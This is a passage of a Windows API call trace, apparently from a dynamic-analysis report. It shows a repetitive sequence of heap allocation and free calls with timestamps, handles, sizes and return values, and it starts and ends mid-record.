(HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.449] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.457] HeapFree (in: hHeap=0x5b0000, 